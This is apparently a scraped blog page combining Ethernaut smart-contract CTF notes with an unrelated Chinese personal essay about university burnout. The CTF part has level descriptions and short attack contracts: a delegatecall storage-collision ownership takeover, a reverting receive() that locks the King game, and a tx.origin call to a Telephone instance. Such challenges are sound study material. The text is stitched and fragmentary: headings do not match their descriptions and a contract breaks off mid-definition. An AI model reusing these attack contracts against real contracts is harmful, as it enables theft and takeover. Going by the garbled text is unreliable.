// This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
// The goal of this level is for you to claim ownership of the instance you are given.
// Things that might help
// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. // Understanding what it means for delegatecall to be context-preserving. // Understanding how storage variables are stored and accessed. // Understanding how casting works between different data types.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
// set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }
// set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } }
// Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime;
function setTime(uint256 _time) public { storedTime = _time; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract PreservationAttack{ address public timeZone1Library; address public timeZone2Library; address public owner; function setTime(uint256) public { owner = tx.origin; } }
// A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
// This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.
// This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
// Things that might help: // Remember what you've learned from getting past the first gatekeeper - the first gate is the same. // The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper. // The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.
// NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player;
// The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
// Such a fun game. Your goal is to break it.
// When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract KingAttack { address public target;
constructor(address targ) public payable { target = targ; }
function exp() payable public { // 如此 transfer ，自定义 gas ， transfer 默认的 gas 不足以执行 instant 的 receive() payable(target).call{value:address(this).balance,gas:1000000}(""); }
receive() external payable { revert(); } }
创建时给 2000000000000000 wei ；
尝试 submit ，成功；
长进
向一般题目合约转账时，可以自定义gas为1000000或者默认发送所有gas；
ethernaut - Re-entrancy
大名鼎鼎的重入漏洞；
description
1 2 3 4 5 6 7 8 9
// The goal of this level is for you to steal all the funds from the contract.
// Things that might help:
// Untrusted contracts can execute code where you least expect it. // Fallback methods // Throw/revert bubbling // Sometimes the best way to attack a contract is with another contract. // See the "?" page above, section "Beyond the console"
// The creator of this contract was careful enough to protect the sensitive areas of its storage.
// Unlock this contract to beat the level.
// Things that might help:
// Understanding how storage works // Understanding how parameter parsing works // Understanding how casting works // Tips:
// Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
// Make it past the gatekeeper and register as an entrant to pass this level.
// Things that might help: // Remember what you've learned from the Telephone and Token levels. // You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).
/** * @title Storage * @dev Store & retrieve value in a variable * @custom:dev-run-script ./scripts/deploy_with_ethers.ts */ // interface for instancing the problem contract interface CoinFlip { function flip(bool _guess) external returns (bool) ; }
interface Telephone { function changeOwner(address _owner) external ; } contract Attack { function exp() public { Telephone t = Telephone(0x7433a6f73fA68a0ED229e4164F4D6503ffF0a489); t.changeOwner(tx.origin); } }
ethernaut - Token
description
1 2 3 4 5 6 7
//The goal of this level is for you to hack the basic token contract below.
//You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
// The goal of this level is for you to claim ownership of the instance you are given.
// Things that might help
// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. // Fallback methods // Method ids
大一上学期想保清北信工所深埋绩点之中，大一下学期疫情解封想多谈恋爱及时行乐毕业去二线城市躺平，大二上学期又阴差阳错地在太子港一个假期的 push 之下进了天璇，如此搭上了视野扩展的第一架桥。然而我是一个瞻前顾后的人，我不知道自己 CTF 能打多久，能打到什么程度，望着又不自信自己的智商，在新生赛证明了自己的智商，入围后却不知道学什么，繁乱的 WEB 技能树甚至不如实验班课程给我的吸引力大。弱智 Spring boot 学得我忘乎所以，项目的弱智后端做完了又去刷抖音，刷 b 站，打英雄联盟，转眼间一学期的时光就浪费掉了。我都不知道这到底是在奖励自己还是惩罚自己。
到了这个寒假，在学长 push 之下帮忙写了点 wiki ，跟着看了两个 CTF ，几乎什么都不会，对题目的贡献无限趋近于0。我原谅了自己。颉夏青找我做一个看起来很牛逼的项目，于是我又搞上三四年前就废弃的机器学习了。学着包装 PPT ，给团队成员打鸡血，调试模型。我又觉得自己做事情了，于是又不学了。
我会在沈阳和我的兄弟们随便找一个包间一打打一天麻将，赴约一场又一场，去体验二十多年的台球厅，和女兄弟、女兄弟的男闺蜜、男闺蜜的男 gay 蜜喝酒唱 K ，我会装醉跟女士拥抱，会装傻差点被女士拽到汉庭酒店，我在这些时间和空间肆意妄为，哈哈大笑，觉得这就是我的人生了——这人生好快乐——可这不是我的人生。
从我记事儿以来我就没觉得我该这样过，我的理想一向是在某一个行当有所成就，这一般伴随着赚很多（对于我的认知来说很多）的钱。我只是累了，累得出奇。我不知道未来要做什么，不知道要学什么，不知道我会爱上什么样的人。恰恰我又读了自主性最强的 IT ，于是乎我只能为所有未来的可能性努力，什么都学，尝试接触身边所有可能爱上的人。人，至少我是不能这么用的。我超负荷了，什么也做不了了。
